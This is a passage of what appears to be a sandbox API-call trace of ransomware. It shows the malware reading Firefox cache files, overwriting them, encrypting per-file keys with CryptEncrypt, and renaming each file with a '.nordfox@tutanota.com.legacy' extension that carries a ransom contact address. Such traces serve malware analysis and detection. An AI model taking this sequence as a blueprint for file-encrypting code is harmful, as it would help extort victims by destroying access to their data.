lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.374] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.374] CloseHandle (hObject=0x1b80) returned 1 [0191.374] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B24068915A6A6D77F01D72F7883D0A5FF0907B6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2b24068915a6a6d77f01d72f7883d0a5ff0907b6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2B24068915A6A6D77F01D72F7883D0A5FF0907B6.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2b24068915a6a6d77f01d72f7883d0a5ff0907b6.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.376] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d9278 | out: pbBuffer=0x30d9278) returned 1 [0191.376] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.376] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2AEEA30E1ABF20CE6EDCD6534789A8A96595E87A", dwFileAttributes=0x80) returned 1 [0191.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d9bc0 [0191.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.376] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2AEEA30E1ABF20CE6EDCD6534789A8A96595E87A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2aeea30e1abf20ce6edcd6534789a8a96595e87a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.377] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=706) returned 1 [0191.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2c2) returned 0x555b90 [0191.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2c2) returned 0x61ec60 [0191.377] ReadFile (in: hFile=0x1b80, lpBuffer=0x555b90, nNumberOfBytesToRead=0x2c2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x2c2, lpOverlapped=0x0) returned 1 [0191.378] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-706, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.378] WriteFile (in: hFile=0x1b80, lpBuffer=0x61ec60*, nNumberOfBytesToWrite=0x2c2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2c2, lpOverlapped=0x0) returned 1 [0191.378] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2c2 [0191.378] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.378] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d9278*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d9278*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.379] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9278*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9278*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.379] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.379] CloseHandle (hObject=0x1b80) returned 1 [0191.379] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2AEEA30E1ABF20CE6EDCD6534789A8A96595E87A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2aeea30e1abf20ce6edcd6534789a8a96595e87a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2AEEA30E1ABF20CE6EDCD6534789A8A96595E87A.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2aeea30e1abf20ce6edcd6534789a8a96595e87a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.380] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d9170 | out: pbBuffer=0x30d9170) returned 1 [0191.380] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0191.381] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A7F9C218AF57C32B146B82864B7FBDB08B612DA", dwFileAttributes=0x80) returned 1 [0191.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d9590 [0191.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.381] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A7F9C218AF57C32B146B82864B7FBDB08B612DA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a7f9c218af57c32b146b82864b7fbdb08b612da"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.381] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1236) returned 1 [0191.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d4) returned 0x619c48 [0191.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d4) returned 0x30f5890 [0191.381] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0191.382] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.382] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0191.383] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d4 [0191.383] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.383] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d9170*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d9170*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.383] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9170*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9170*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.383] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.383] CloseHandle (hObject=0x1b80) returned 1 [0191.383] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A7F9C218AF57C32B146B82864B7FBDB08B612DA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a7f9c218af57c32b146b82864b7fbdb08b612da"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A7F9C218AF57C32B146B82864B7FBDB08B612DA.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a7f9c218af57c32b146b82864b7fbdb08b612da.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.403] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d98a8 | out: pbBuffer=0x30d98a8) returned 1 [0191.403] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.403] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A650CB5032027B0EF79F4B9916C5D43EEFEDB3A", dwFileAttributes=0x80) returned 1 [0191.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d9698 [0191.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.406] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A650CB5032027B0EF79F4B9916C5D43EEFEDB3A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a650cb5032027b0ef79f4b9916c5d43eefedb3a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.407] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3585) returned 1 [0191.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe01) returned 0x30f5890 [0191.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe01) returned 0x30db048 [0191.407] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xe01, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xe01, lpOverlapped=0x0) returned 1 [0191.408] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.408] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db048*, nNumberOfBytesToWrite=0xe01, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe01, lpOverlapped=0x0) returned 1 [0191.408] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe01 [0191.408] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.408] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d98a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d98a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.408] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d98a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d98a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.409] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.409] CloseHandle (hObject=0x1b80) returned 1 [0191.409] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A650CB5032027B0EF79F4B9916C5D43EEFEDB3A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a650cb5032027b0ef79f4b9916c5d43eefedb3a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A650CB5032027B0EF79F4B9916C5D43EEFEDB3A.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a650cb5032027b0ef79f4b9916c5d43eefedb3a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.411] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dac40 | out: pbBuffer=0x30dac40) returned 1 [0191.411] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0191.411] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A2631B4E21DE0654F50C86D5D9258EBDB245D08", dwFileAttributes=0x80) returned 1 [0191.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dae50 [0191.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.411] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A2631B4E21DE0654F50C86D5D9258EBDB245D08" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a2631b4e21de0654f50c86d5d9258ebdb245d08"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.411] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4407) returned 1 [0191.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1137) returned 0x30f5890 [0191.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1137) returned 0x30db048 [0191.411] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x1137, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x1137, lpOverlapped=0x0) returned 1 [0191.424] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4407, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.424] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db048*, nNumberOfBytesToWrite=0x1137, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1137, lpOverlapped=0x0) returned 1 [0191.424] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1137 [0191.424] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.424] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dac40*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dac40*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.424] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dac40*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dac40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.424] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.424] CloseHandle (hObject=0x1b80) returned 1 [0191.425] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A2631B4E21DE0654F50C86D5D9258EBDB245D08" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a2631b4e21de0654f50c86d5d9258ebdb245d08"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A2631B4E21DE0654F50C86D5D9258EBDB245D08.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a2631b4e21de0654f50c86d5d9258ebdb245d08.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.426] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d9698 | out: pbBuffer=0x30d9698) returned 1 [0191.426] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.426] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A0C541C7E9FC0F629A45F976215EB2A8AE994F3", dwFileAttributes=0x80) returned 1 [0191.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30da928 [0191.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.427] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A0C541C7E9FC0F629A45F976215EB2A8AE994F3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a0c541c7e9fc0f629a45f976215eb2a8ae994f3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.427] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4414) returned 1 [0191.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x113e) returned 0x30f5890 [0191.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x113e) returned 0x30db048 [0191.427] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x113e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x113e, lpOverlapped=0x0) returned 1 [0191.428] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4414, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.428] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db048*, nNumberOfBytesToWrite=0x113e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x113e, lpOverlapped=0x0) returned 1 [0191.429] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x113e [0191.429] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.429] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d9698*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d9698*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.429] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9698*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9698*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.429] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.429] CloseHandle (hObject=0x1b80) returned 1 [0191.429] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A0C541C7E9FC0F629A45F976215EB2A8AE994F3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a0c541c7e9fc0f629a45f976215eb2a8ae994f3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2A0C541C7E9FC0F629A45F976215EB2A8AE994F3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2a0c541c7e9fc0f629a45f976215eb2a8ae994f3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.431] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30f3bc8 | out: pbBuffer=0x30f3bc8) returned 1 [0191.431] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.431] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\292C4D0DC8EA6D2C3EF1D5C53B62620BA70587F8", dwFileAttributes=0x80) returned 1 [0191.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f5698 [0191.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.432] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\292C4D0DC8EA6D2C3EF1D5C53B62620BA70587F8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\292c4d0dc8ea6d2c3ef1d5c53b62620ba70587f8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.432] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=63318) returned 1 [0191.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf756) returned 0x30d9040 [0191.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf756) returned 0x2eeb018 [0191.432] ReadFile (in: hFile=0x1b80, lpBuffer=0x30d9040, nNumberOfBytesToRead=0xf756, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesRead=0x2e1f9bc*=0xf756, lpOverlapped=0x0) returned 1 [0191.445] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-63318, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.445] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0xf756, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf756, lpOverlapped=0x0) returned 1 [0191.445] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf756 [0191.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30f3bc8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30f3bc8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.446] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3bc8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3bc8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.446] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, 